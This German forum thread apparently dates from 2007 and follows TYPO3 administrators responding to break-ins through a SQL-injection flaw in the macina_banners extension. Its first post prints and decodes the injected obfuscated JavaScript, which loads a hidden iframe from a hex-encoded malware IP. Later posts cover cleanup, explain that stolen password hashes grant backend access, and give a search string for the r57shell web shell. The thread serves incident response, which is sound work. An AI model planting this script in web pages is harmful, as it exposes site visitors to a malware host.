Habs selbst dekodiert...übersetzt heißt die Zeichenkette:
<script type="text/javascript">eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%30%78%63%62%64%66%39%66%36%39%2F%6C%69%62%72%61%72%69%65%73%2F%69%66%72%61%6D%65%2E%70%68%70%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));</script>
wobei %64%6F%63%... wiederum heißt:
document.write('<iframe src=http://0xcbdf9f69/libraries/iframe.php style="display:none"></iframe>');
und 0xcbdf9f69 wiederum ergibt 203.223.159.105, eine IP in Malaysia.
Hallo,
bitte behaltet im Hinterkopf, dass alle wichtigen neuen Erkenntnisse, die mit diesen Einbrüchen zusammenhängen, auch für das TYPO3 Security Team von großem Interesse sind. Also: Detailanalysen mit Neuigkeiten bitte auch auf Englisch an das Security Team schicken und nicht nur hier posten. Denn nicht alle Security Team Mitglieder sprechen Deutsch.
http://typo3.org/teams/security/
Vielen Dank! #giggle#
Viele Grüße
hepi
Hi georg,
Danke für die Antwort, aber ich habe schon den ganzen Thread gelesen. Mir geht es um meine nicht-deutschsprachigen Kollegen im Security Team, die nicht den ganzen Thread lesen können.
Mir geht es auch darum, dass NEUE Erkenntnisse, die noch nicht im Thread stehen, zunächst an das Security Team gemeldet werden, bevor sie publiziert werden.
Gruß
hepi (Henning Pingel)
Ist es denn ausreichend, das Modul macina_banners auf Version 1.5.0 zu updaten?
Woran kann ich eindeutig erkennen, dass meine Installation bereits infiziert wurde?
Moeglicherweise liegt der Infekt ja vor, wurde jedoch einfach noch nicht genutzt.
Ich werde jetzt erst einmal die Passwoerter neu setzen.
danke,
Patrick
Hi all,
auf typo3.org gibt es inzwischen eine Zusammenfassung der Erkenntnisse des TYPO3 Security Teams zu diesen Angriffen, nämlich unter
http://buzz.typo3.org/teams/security/article/massive-web-server-hacks-iframe-attacks-now-extended-to-typo3/
(deutsch unter
http://www.naw.info/blogs/typo3security/2007/07/03/angriffswelle-gegen-webserver-iframe-attacken-nun-auch-typo3)
greets
/Ekki
__________________
Ekkehard Gümbel
naw.info net&works Internet Services GmbH, Hannover
http://www.naw.info
Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
1. Alle macina_banners Ext. deinstallieren bzw. auf 1.4.1 zu updaten.
(mit find -type d macina_banners) findet man schnell raus aif welchen web´s die Ext. sind.
2. Alle Dateien nach den bekannten Strings, encodierte wie decodierte durchsuchen (grep -r etc.) und entfernen.
3. Alle temp_cached* Dateien löschen und neu generieren lassen.
Das ist was mir dazu einfällt. Was sollte man noch tun?
Sollte man alle Typo3 Admin Passwörter ändern? Oder besser gleich auch sämtliche Redakteurs Zugänge?
Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...
nickno schrieb
Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...
Wenn man über 100 Web´s auf einem Server hat und Redakteure über viele Typo3 Installationen täglich munter Content produzieren, ist das nicht wirklich praktikabel. Die müssten ja dann alle wieder auf dem Stand vor z.B. 4 Wochen anfangen.
Besteht denn grundsätzlich die Möglichkeit, daß durch den SQL-Inject weitere Schadsoftware als "Hintertürchen" installiert wurde? Und wenn ja, ist da vielleicht was bekannt? Mich würde auch interessieren wie man es schafft MD5 verschlüsselte Passörter zu knacken. Mit BruteForce sollten PW mit dem Format z.B. x4GH9nm! nicht so einfach zu hacken sein.
Also wenn ich die Aussage von Jan Radecker:
Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
richtig interpretiere. Hat der Angreifer "nur" den Admin Benutzernamen und den MD5 Hash des Passwortes ausgelesen und nicht das Passwort mittels Bruteforce geknackt. Oder?! In dem Fall kann der Angreifer bei Schliessen der macina_banners Lücke mit seinen Daten ja nichts mehr anfangen. #paralyzed#
Über SQL-Injection kann man sich z.B. selbst als Admin in der Datenbank eintragen, da braucht man kein Passwort zu knacken.
Als Admin kann man z.B. beliebige (selbst geschriebene) Extensions installieren.
Wenn es irgendwie geht, sollte man versuchen festzustellen, über welchen Weg der Angreifer Zugriff auf den Server bekommen hat. Es muss nicht unbedingt oder nur macina_banners gewesen sein.
Ideal wäre eine genaue Analyse der Server Logfiles aus der Zeit vor dem Entdecken des Einbruchs.
In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt). Wenn man nicht alle findet, hat der Angreifer nach wie vor Zugriff auf den Rechner.
Gerade wenn man über 100 Webs auf dem Server hat, muss man sich einige Zeit nehmen, um das System genau zu analysieren (und auch künftig zu überwachen).
Jochen Weiland
Twinstar schrieb
Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
Hallo Twinstar,
ekki sagt doch eigentlich alles Wichtige in seinem Blog, ich zitiere mal:
"Sichergehen, dass alle Änderungen (in Datenbanken und Dateien) rückgängig gemacht sind und keine Hintertür das Hackers mehr offenbleibt. Um es offen zu sagen - dies ist SEHR schwer, genaugenommen müßte man sogar sagen: unmöglich.
Meine dringende Empfehlung ist daher, das System aus intakter Datensicherung komplett neu aufzusetzen!"
Er sagt auch, dass es beinahe unmöglich ist, das System wieder "keimfrei" zu bekommen. Will heißen: Es kann keine Anleitung geben, wie man vorgehen soll, sondern nur Hinweise, wonach man suchen soll. Aber die beste Vorgehensweise ist, selbst nach Ungewöhnlichem zu suchen. Du bist hier halt Dein eigener "Privatdetektiv".
Wir haben es hier nicht mit der Behebung von Softwarefehlern, sondern mit intelligentem Leben zu tun. Menschen versuchen, etwas vor anderen Menschen zu verstecken. Hier gibt es leider keine Pauschal-Rezepte.
Alles, was momentan bekannt und hilfreich ist, steht in Ekkis Blog.
Viele Grüße
Henning Pingel
jweiland schrieb
In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt).
Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
hepi schrieb
Twinstar schrieb
Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?
Aber die beste Vorgehensweise ist, selbst nach Ungewöhnlichem zu suchen. Du bist hier halt Dein eigener "Privatdetektiv".
Verstehe. Dann schnüffel ich mal weiter im Dateienwald. 😉
Twinstar schrieb
Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
Ekki nennt in seinem Blog zwei Web Shells beim Namen - und auch einen speziellen User Agent String. Ekki serviert alles auf dem goldenen Tablett.
Gruß
Henning Pingel
hepi schrieb
Twinstar schrieb
Gibt es öffentliche Informationen darüber welche Webshells das waren und wie man sie finden kann?
Ekki nennt in seinem Blog zwei Web Shells beim Namen - und auch einen speziellen User Agent String. Ekki serviert alles auf dem goldenen Tablett.
Gruß
Henning Pingel
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Twinstar schrieb
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Für die Suche nach einer r57shell im Dateisystem bietet sich beispielsweise folgender Suchstring an:
"Use reverse (user -> resu) login for password"
Das ist aber auch nur ein Tipp, der WAHRSCHEINLICH hilft, mehr nicht. Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
Gruß
Henning Pingel
hepi schrieb
Twinstar schrieb
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
Gruß
Henning Pingel
Bin dankbar für jeden Ansatz mit dem man weiter arbeiten kann.
hepi schrieb
Twinstar schrieb
Gut, also wenn man den Code der Webshells kennt kann man wenigstens Dateien danach durchsuchen lassen. Dann such ich mir jetzt erstmal den Code dieser Shells.
Für die Suche nach einer r57shell im Dateisystem bietet sich beispielsweise folgender Suchstring an:
"Use reverse (user -> resu) login for password"
Das ist aber auch nur ein Tipp, der WAHRSCHEINLICH hilft, mehr nicht. Wenn Hacker merken, dass alle nach einem bestimmten String suchen, werden sie irgendwann diesen String aus Ihren Scripts löschen.
Gruß
Henning Pingel
Aber ein guter Tipp. Den den Schnipsel habe ich gerade in einem Gästebuch entdeckt. Bloss gut ... o.O
Twinstar schrieb
Aber ein guter Tipp. Den den Schnipsel habe ich gerade in einem Gästebuch entdeckt. Bloss gut ... o.O
Hi, sei bitte vorsichtig, was Du hier öffentlich postest. Wenn jemand anders gehackt worden ist, wird er jetzt wissen wollen: Was für ein Gästebuch ist gemeint? Ist das Gästebuch Schuld? Hat es eine Sicherheitslücke?
Aber hier ist das Problem: Das Gästebuch ist möglicherweise REIN GAR NICHT Schuld, sondern ein böser Hacker hat in dem Verzeichnis willkürlich sein Ei abgelegt, um es zu verstecken.
Deshalb ganz wichtig, ich kann mich nur wiederholen: Neue Erkenntnisse bitte an das TYPO3 Security Team melden.
Gruß
Henning Pingel
Twinstar schrieb
Mich würde auch interessieren wie man es schafft MD5 verschlüsselte Passörter zu knacken. Mit BruteForce sollten PW mit dem Format z.B. x4GH9nm! nicht so einfach zu hacken sein.
Das stimmt, ich dachte auch zuerst, man muesste das Passwort knacken, aber dem ist nicht so. Die MD5-Darstellung reicht. Mit dem MD5-Kennwort ausgeruestet kann man mittels POST-Datenmanipulation das TYPO3-Backend ueber das "normale" Login erreichen. Ich will hier nur keine detaillierte Anleitung geben, wie das funktioniert. Ist auch fuer den Sachverhalt, der hier geklaert werden soll nicht weiter wichtig. Wichtig ist nur zu wissen, dass das KEINE Sicherheitluecke in der TYPO3-Anmeldung ist.
Man muss sich einfach nur vor Augen halten, dass das MD5-Kennwort genauso wertvoll und schuetzenswert ist, wie ein Klartextpasswort. Der einzige Unterschied ist halt, dass man vom MD5-Hash nicht direkt auf den Klartext zurueckgreifen kann. Aber wer das MD5-Kennwort hat, kommt rein.
Twinstar schrieb
Also wenn ich die Aussage von Jan Radecker:
Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
richtig interpretiere. Hat der Angreifer "nur" den Admin Benutzernamen und den MD5 Hash des Passwortes ausgelesen und nicht das Passwort mittels Bruteforce geknackt. Oder?! In dem Fall kann der Angreifer bei Schliessen der macina_banners Lücke mit seinen Daten ja nichts mehr anfangen. #paralyzed#
Nein, das Passwort, das der Angreifer ausgelesen hat, wird ja nicht ungueltig, nur weil macina_banners jetzt das erneute Auslesen des Passworts verhindert. Also ist es unabdingbar ALLE Backend-Kennwoerter neu zu setzen.